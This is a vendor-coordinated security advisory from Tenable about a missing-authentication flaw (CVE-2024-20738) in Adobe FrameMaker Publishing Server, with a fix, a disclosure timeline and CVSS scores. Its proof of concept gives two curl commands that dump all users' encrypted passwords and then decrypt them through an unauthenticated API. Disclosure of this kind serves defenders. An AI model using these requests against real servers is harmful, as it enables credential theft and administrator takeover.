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Missing Authentication for Critical Function in Adobe FrameMaker Publishing Server (FMPS)

Critical
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Synopsis

A vulnerability regarding missing authentication exists in Adobe FrameMaker Publishing Server (FMPS). This allows an unauthenticated remote attacker to access FMPS REST APIs. For example, the attacker can fetch user information (including encrypted password) for all FMPS users. The encrypted password can be decrypted by accessing a FMPS API. This allows the attacker to login to FMPS.

Proof of Concept

# curl 'http://<fmps-host>:7000/v16/server/auth/'
[{"accessTokenExpires":"-1","userPermission":"ADMIN","userType":"ADMIN","userString":"NA","email":"[email protected]","__schemaVersion":"16","_id":"6578e4aef9492a045082c7d7","username":"fmpsuserAAA","password":"6c2395917d6e121b3cb835c1ce9f69aaa1a9240cfab0cc0fe7df3e","user_denorm_string":"{\"_id\":\"6578e4aef9492a045082c7d7\",\"accessTokenExpires\":\"NA\",\"email\":\"[email protected]\",\"password\":\"6c2395917d6e121b3cb835c1ce9f69aaa1a9240cfab0cc0fe7df3e\",\"userPermission\":\"ADMIN\",\"userString\":\"NA\",\"userType\":\"ADMIN\",\"username\":\"fmpsuserAAA\"}","__v":0,"accessToken":""}]

#curl -d 'password=6c2395917d6e121b3cb835c1ce9f69aaa1a9240cfab0cc0fe7df3e' 'http://<fmps-host>:7000/v16/server/auth/decryptPassword'
"fmpsuserAAA"

Solution

Upgrade to Version 2022.2 or later.

Additional References

https://helpx.adobe.com/security/products/framemaker-publishing-server/apsb24-10.html

Disclosure Timeline

January 3, 2024 - Tenable requests security contact from vendor.
January 3, 2024 - Vendor confirms contact information.
January 5, 2024 - Tenable discloses to vendor. Vendor acknowledges.
January 22, 2024 - Tenable requests status update.
January 23, 2024 - Vendor provides status update. Tenable acknowledges.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2024-20738
Tenable Advisory ID: TRA-2024-04
CVSSv3 Base / Temporal Score:
9.8 / 9.1
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Adobe FrameMaker Publishing Server Version 2022 Update 1   and earlier versions
Risk Factor:
Critical

Advisory Timeline

February 13, 2024 - Initial release.
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